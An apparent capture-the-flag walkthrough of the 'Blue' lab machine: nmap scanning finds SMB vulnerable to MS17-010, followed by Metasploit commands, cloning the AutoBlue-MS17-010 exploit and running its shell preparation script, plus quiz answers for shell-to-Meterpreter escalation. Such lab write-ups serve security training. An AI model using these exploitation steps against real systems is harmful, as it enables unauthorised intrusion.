---
description: 'OS: Windows'
---

# BLUE

**بسم الله الرحمن الرحيم**

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F8O2y6HZloBIA8k2WS9ns%2Fimage.png?alt=media&#x26;token=9c1e70ea-c4ab-49a3-9c94-8faf3bc10555" alt=""><figcaption></figcaption></figure>

### Recon

using Nmap&#x20;

```bash
nmap 10.10.55.229 -sV -sC 
```

How many ports are open with a port number under 1000?

```bash
sudo nmap 10.10.55.229 -p 1-1000  #Result = 3
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FJNyziuVHLaqka9EZ2vyA%2Fimage.png?alt=media&#x26;token=e68eca80-e25c-40ba-8577-f988a79f031e" alt=""><figcaption></figcaption></figure>

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

```
sudo nmap 10.10.55.229 -sV  -p T:135,139,445 --script="smb-vuln-*"

```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fu8ApW5j5xeB28rhnepLI%2Fimage.png?alt=media&#x26;token=6cf6ed5b-6d00-4d04-87d5-9f81ce3f426c" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
**the OS windows VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)**
{% endhint %}

### Gain Access / initial Access

using MSF6

```bash
msfconsole
search ms17-010
use 0
options
set RhOSTS


```



<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FB1tSFrCEXruvX2aHrmfn%2Fimage.png?alt=media&#x26;token=5b145359-9a04-4f79-8f3f-45b33b3da82b" alt=""><figcaption></figcaption></figure>

My connection was cut off  there was a problem with vpn

&#x20;

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FSZUcseUxDtGZIFUfX87u%2Fimage.png?alt=media&#x26;token=47bd84cc-c542-4cf4-a27a-179c3901c969" alt=""><figcaption></figcaption></figure>

but in my PC <mark style="color:red;">**FAIl**</mark>

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fx86HHECCepytyNSvYc5n%2Fimage.png?alt=media&#x26;token=9485cb6f-72c0-4d6d-be9c-a67afeb5f645" alt=""><figcaption></figcaption></figure>

&#x20;i will try search I Found exploit [https://github.com/3ndG4me/AutoBlue-MS17-010](https://github.com/3ndG4me/AutoBlue-MS17-010)

```bash
git clone  https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010/shellcode 
./shell_prep.sh
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FgrLS6OqgFGr3YjK2Yu3m%2Fimage.png?alt=media&#x26;token=a226fef8-cb77-4846-864a-9637099c0afa" alt=""><figcaption></figcaption></figure>

### Escalate

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)&#x20;

**`Answer`**` ``post/multi/manage/shell_to_meterpreter`

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FwjUiafjbAPpHXr9zD3lf%2Fimage.png?alt=media&#x26;token=e7d24c7a-16c8-4507-8880-ef321cf99192" alt=""><figcaption></figcaption></figure>

Select this (use MODULE\_PATH). Show options, what option are we required to change?

**Answer** `session`\
